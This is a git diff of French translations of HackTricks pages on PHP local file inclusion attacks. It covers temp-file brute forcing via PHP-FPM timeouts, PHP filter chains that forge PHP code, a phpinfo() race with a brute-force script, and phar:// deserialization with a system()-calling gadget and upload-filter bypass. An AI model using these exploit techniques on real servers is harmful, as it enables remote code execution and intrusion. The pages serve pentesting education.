PHP-FMP permet de **configurer** le **paramètre** **`request_terminate_timeout`** dans **`/etc/php/<version-php>/fpm/pool.d/www.conf`**.\
|
||||
Ce paramètre indique le nombre maximum de secondes **quand** **la requête à PHP doit se terminer** (infini par défaut, mais **30s si le paramètre est décommenté**). Lorsqu'une requête est traitée par PHP pendant le nombre de secondes indiqué, elle est **tuée**. Cela signifie que si la requête était en train de télécharger des fichiers temporaires, parce que le **traitement php a été arrêté**, ces **fichiers ne seront pas supprimés**. Par conséquent, si vous pouvez faire durer une requête ce temps, vous pouvez **générer des milliers de fichiers temporaires** qui ne seront pas supprimés, ce qui **accélérera le processus de les trouver** et réduit la probabilité d'un DoS sur la plateforme en consommant toutes les connexions.
|
||||
Ce paramètre indique le nombre maximum de secondes **pendant lesquelles** **la demande à PHP doit se terminer** (infini par défaut, mais **30s si le paramètre est décommenté**). Lorsqu'une demande est en cours de traitement par PHP pendant le nombre de secondes indiqué, elle est **interrompue**. Cela signifie que si la demande téléchargeait des fichiers temporaires, car le **traitement php a été arrêté**, ces **fichiers ne seront pas supprimés**. Par conséquent, si vous pouvez faire durer une demande ce temps, vous pouvez **générer des milliers de fichiers temporaires** qui ne seront pas supprimés, ce qui **accélérera le processus de recherche** et réduira la probabilité d'un DoS sur la plateforme en consommant toutes les connexions.
|
||||
|
||||
Donc, pour **éviter le DoS**, supposons qu'un **attaquant utilisera seulement 100 connexions** en même temps et le temps de traitement maximum par **php-fmp** (`request_terminate_timeout`**) est de **30s**. Par conséquent, le nombre de **fichiers temporaires** qui peuvent être générés **par seconde** est `100*20/30 = 66.67`.
|
||||
Ainsi, pour **éviter un DoS**, supposons qu'un **attaquant n'utilisera que 100 connexions** en même temps et que le temps de traitement maximal par **php-fmp** (`request_terminate_timeout`**)** est de **30s**. Par conséquent, le nombre de **fichiers temporaires** pouvant être générés **par seconde** est `100*20/30 = 66,67`.
|
||||
|
||||
Ensuite, pour générer **10000 fichiers**, un attaquant aurait besoin : **`10000/66.67 = 150s`** (pour générer **100000 fichiers**, le temps serait de **25min**).
|
||||
Ensuite, pour générer **10000 fichiers**, un attaquant aurait besoin de : **`10000/66,67 = 150s`** (pour générer **100000 fichiers**, le temps serait de **25min**).
|
||||
|
||||
Ensuite, l'attaquant pourrait utiliser ces **100 connexions** pour effectuer une **recherche par force brute**. \*\*\*\* En supposant une vitesse de 300 req/s, le temps nécessaire pour exploiter ceci est le suivant :
|
||||
Ensuite, l'attaquant pourrait utiliser ces **100 connexions** pour effectuer une **recherche brute-force**. En supposant une vitesse de 300 req/s, le temps nécessaire pour exploiter cela est le suivant :
|
||||
|
||||
* 56800235584 / 10000 / 300 / 3600 ≈ **5.25 heures** (50% de chance en 2.63h)
|
||||
* (avec 100000 fichiers) 56800235584 / 100000 / 300 / 3600 ≈ **0.525 heures** (50% de chance en 0.263h)
|
||||
* 56800235584 / 10000 / 300 / 3600 ≈ **5,25 heures** (50% de chances en 2,63h)
|
||||
* (avec 100000 fichiers) 56800235584 / 100000 / 300 / 3600 ≈ **0,525 heures** (50% de chances en 0,263h)
|
||||
|
||||
Oui, il est possible de générer 100000 fichiers temporaires dans une instance EC2 de taille moyenne :
|
||||
Oui, il est possible de générer 100000 fichiers temporaires dans une instance de taille moyenne EC2 :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que pour déclencher le délai d'attente, il suffirait d'inclure la page LFI vulnérable, pour qu'elle entre dans une boucle d'inclusion éternelle.
|
||||
Notez que pour déclencher le délai d'expiration, il suffirait d'**inclure la page LFI vulnérable**, afin qu'elle entre dans une boucle d'inclusion éternelle.
|
||||
{% endhint %}
|
||||
|
||||
## Nginx
|
||||
|
||||
Il semble que par défaut Nginx supporte **512 connexions parallèles** en même temps (et ce nombre peut être amélioré).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
Il semble que par défaut, Nginx prend en charge **512 connexions parallèles** en même temps (et ce nombre peut être amélioré).
|
||||
|
|
|
@ -2,46 +2,46 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Intro
|
||||
## Introduction
|
||||
|
||||
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **des filtres PHP pour générer un contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code PHP arbitraire** pour l'include **sans avoir besoin de l'écrire** dans un fichier.
|
||||
Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explique que vous pouvez utiliser **les filtres PHP pour générer un contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code PHP arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
|
||||
|
||||
L'objectif du script est de **générer une chaîne Base64** au **début** du fichier qui sera **finalement décodée** fournissant le payload souhaité qui sera **interprété par `include`**.
|
||||
En gros, le but du script est de **générer une chaîne Base64** au **début** du fichier qui sera **enfin décodée** fournissant la charge utile souhaitée qui sera **interprétée par `include`**.
|
||||
|
||||
Les bases pour faire cela sont :
|
||||
|
||||
* `convert.iconv.UTF8.CSISO2022KR` préfixera toujours `\x1b$)C` à la chaîne
|
||||
* `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas du base64 valide. Il pose quelques problèmes s'il trouve des "=" inattendus, mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`.
|
||||
* `convert.iconv.UTF8.CSISO2022KR` ajoutera toujours `\x1b$)C` à la chaîne
|
||||
* `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas valides en base64. Cela pose quelques problèmes s'il trouve des "=" inattendus mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`.
|
||||
|
||||
La boucle pour générer un contenu arbitraire est :
|
||||
La boucle pour générer un contenu arbitraire est la suivante :
|
||||
|
||||
1. préfixer `\x1b$)C` à notre chaîne comme décrit ci-dessus
|
||||
1. ajouter `\x1b$)C` à notre chaîne comme décrit ci-dessus
|
||||
2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intact et convertit la partie que nous venons de préfixer en une chaîne où le seul caractère base64 valide est la partie suivante de notre code PHP encodé en base64
|
||||
3. décoder et encoder en base64 la chaîne, ce qui éliminera tous les déchets entre les deux
|
||||
4. Revenir à 1 si le base64 que nous voulons construire n'est pas encore terminé
|
||||
5. décoder en base64 pour obtenir notre code PHP
|
||||
3. décodage en base64 et encodage en base64 de la chaîne qui supprimera tout le contenu indésirable entre les deux
|
||||
4. Revenir à l'étape 1 si le base64 que nous voulons construire n'est pas encore terminé
|
||||
5. décodage en base64 pour obtenir notre code PHP
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Les includes** font généralement des choses comme **ajouter ".php" à la fin** du fichier, ce qui pourrait compliquer l'exploitation de cela car vous auriez besoin de trouver un fichier .php avec un contenu qui ne tue pas l'exploit... ou vous **pourriez simplement utiliser `php://temp` comme ressource** car il peut **avoir n'importe quoi ajouté dans le nom** (comme +".php") et cela permettra quand même à l'exploit de fonctionner !
|
||||
Les **inclusions** font généralement des choses comme **ajouter ".php" à la fin** du fichier, ce qui pourrait compliquer l'exploitation de cela car vous auriez besoin de trouver un fichier .php avec un contenu qui ne tue pas l'exploit... ou vous **pourriez simplement utiliser `php://temp` comme ressource** car il peut **avoir n'importe quoi ajouté dans le nom** (comme +".php") et l'exploit fonctionnera toujours !
|
||||
{% endhint %}
|
||||
|
||||
## Comment ajouter également des suffixes aux données résultantes
|
||||
|
||||
[**Ce writeup explique**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) comment vous pouvez encore abuser des filtres PHP pour ajouter des suffixes à la chaîne résultante.
|
||||
[**Ce writeup explique**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) comment vous pouvez toujours abuser des filtres PHP pour ajouter des suffixes à la chaîne résultante.
|
||||
|
||||
## Outils Automatiques
|
||||
## Outils automatiques
|
||||
|
||||
* [https://github.com/synacktiv/php\_filter\_chain\_generator](https://github.com/synacktiv/php\_filter\_chain\_generator)
|
||||
* [https://github.com/ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) (peut ajouter des suffixes)
|
||||
|
@ -108,7 +108,7 @@ print(r.text)
|
|||
```
|
||||
### Améliorations
|
||||
|
||||
Le script précédent est limité aux caractères base64 nécessaires pour ce payload. Par conséquent, j'ai créé mon propre script pour **forcer tous les caractères base64** :
|
||||
Le script précédent est limité aux caractères base64 nécessaires pour cette charge utile. Par conséquent, j'ai créé mon propre script pour **forcer tous les caractères base64** :
|
||||
```php
|
||||
conversions = {
|
||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||
|
@ -269,14 +269,14 @@ find_vals($init);
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,8 +7,8 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,7 +19,7 @@ Pour exploiter cette vulnérabilité, vous avez besoin de: **Une vulnérabilité
|
|||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||||
|
||||
Vous devez corriger l'exploit (remplacer **=>** par **=>**). Pour ce faire, vous pouvez faire:
|
||||
Vous devez corriger l'exploit (remplacer **=>** par **=>**). Pour ce faire, vous pouvez:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
|
@ -39,7 +39,7 @@ Sous **Linux**, le nom du fichier est généralement **aléatoire** et situé da
|
|||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** utilise un tampon de **4096 octets** et lorsqu'il est **plein**, il est **envoyé au client**. Ensuite, le client peut **envoyer** **beaucoup de grandes demandes** (en utilisant de grands en-têtes) **téléversant un shell** inversé **php**, attendre que la **première partie de phpinfo() soit renvoyée** (où se trouve le nom du fichier temporaire) et essayer d'**accéder au fichier temporaire** avant que le serveur php ne supprime le fichier en exploitant une vulnérabilité LFI.
|
||||
**PHP** utilise un tampon de **4096B** et lorsqu'il est **plein**, il est **envoyé au client**. Ensuite, le client peut **envoyer** **beaucoup de grandes demandes** (en utilisant de grands en-têtes) **téléversant un php** shell inversé, attendre que la **première partie de phpinfo() soit renvoyée** (où se trouve le nom du fichier temporaire) et essayer d'**accéder au fichier temporaire** avant que le serveur php ne supprime le fichier en exploitant une vulnérabilité LFI.
|
||||
|
||||
**Script Python pour essayer de forcer le nom (si la longueur = 6)**
|
||||
```python
|
||||
|
@ -67,12 +67,12 @@ print('[x] Something went wrong, please try again')
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -24,7 +24,7 @@ Lorsqu'un moteur **PHP** reçoit une **requête POST** contenant des fichiers fo
|
|||
**Alerte de sécurité : Les attaquants, conscients de l'emplacement des fichiers temporaires, pourraient exploiter une vulnérabilité d'inclusion de fichier local pour exécuter du code en accédant au fichier lors du téléchargement.**
|
||||
{% endhint %}
|
||||
|
||||
Le défi pour un accès non autorisé réside dans la prédiction du nom du fichier temporaire, qui est intentionnellement aléatoire.
|
||||
Le défi de l'accès non autorisé réside dans la prédiction du nom du fichier temporaire, qui est intentionnellement aléatoire.
|
||||
|
||||
#### Exploitation sur les systèmes Windows
|
||||
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# phar:// désérialisation
|
||||
# Désérialisation phar://
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
Les fichiers **Phar** (PHP Archive) **contiennent des métadonnées au format sérialisé**, donc, lorsqu'ils sont analysés, ces **métadonnées** sont **désérialisées** et vous pouvez essayer d'exploiter une vulnérabilité de **désérialisation** à l'intérieur du code **PHP**.
|
||||
Les fichiers **Phar** (PHP Archive) contiennent des **métadonnées au format sérialisé**, donc, lorsqu'elles sont analysées, ces **métadonnées** sont **désérialisées** et vous pouvez essayer d'exploiter une vulnérabilité de **désérialisation** dans le code **PHP**.
|
||||
|
||||
Le meilleur aspect de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
|
||||
La meilleure chose à propos de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
|
||||
|
||||
Imaginez donc une situation où vous pouvez faire en sorte qu'une application web PHP obtienne la taille d'un fichier arbitraire en utilisant le protocole **`phar://`**, et à l'intérieur du code, vous trouvez une **classe** similaire à la suivante :
|
||||
Imaginez donc une situation où vous pouvez faire en sorte qu'un site web PHP obtienne la taille d'un fichier arbitraire en utilisant le protocole **`phar://`**, et à l'intérieur du code, vous trouvez une **classe** similaire à celle-ci :
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
@ -42,11 +42,11 @@ system($this->data);
|
|||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Vous pouvez créer un fichier **phar** qui, lorsqu'il est chargé, **exploitera cette classe pour exécuter des commandes arbitraires** avec quelque chose comme :
|
||||
|
||||
{% code title="create_phar.php" %}
|
||||
```
|
||||
```php
|
||||
<?php
|
||||
|
||||
|
@ -72,12 +72,10 @@ $object = new AnyClass('whoami');
|
|||
$phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Notez comment les **octets magiques du JPG** (`\xff\xd8\xff`) sont ajoutés au début du fichier phar pour **contourner** les **restrictions** **possibles** de **téléversement** de fichiers.\
|
||||
Notez comment les **octets magiques de JPG** (`\xff\xd8\xff`) sont ajoutés au début du fichier phar pour **contourner** les **éventuelles** **restrictions** de **téléchargement** de fichiers.\
|
||||
**Compilez** le fichier `test.phar` avec :
|
||||
```
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
```
|
||||
|
@ -89,22 +87,22 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
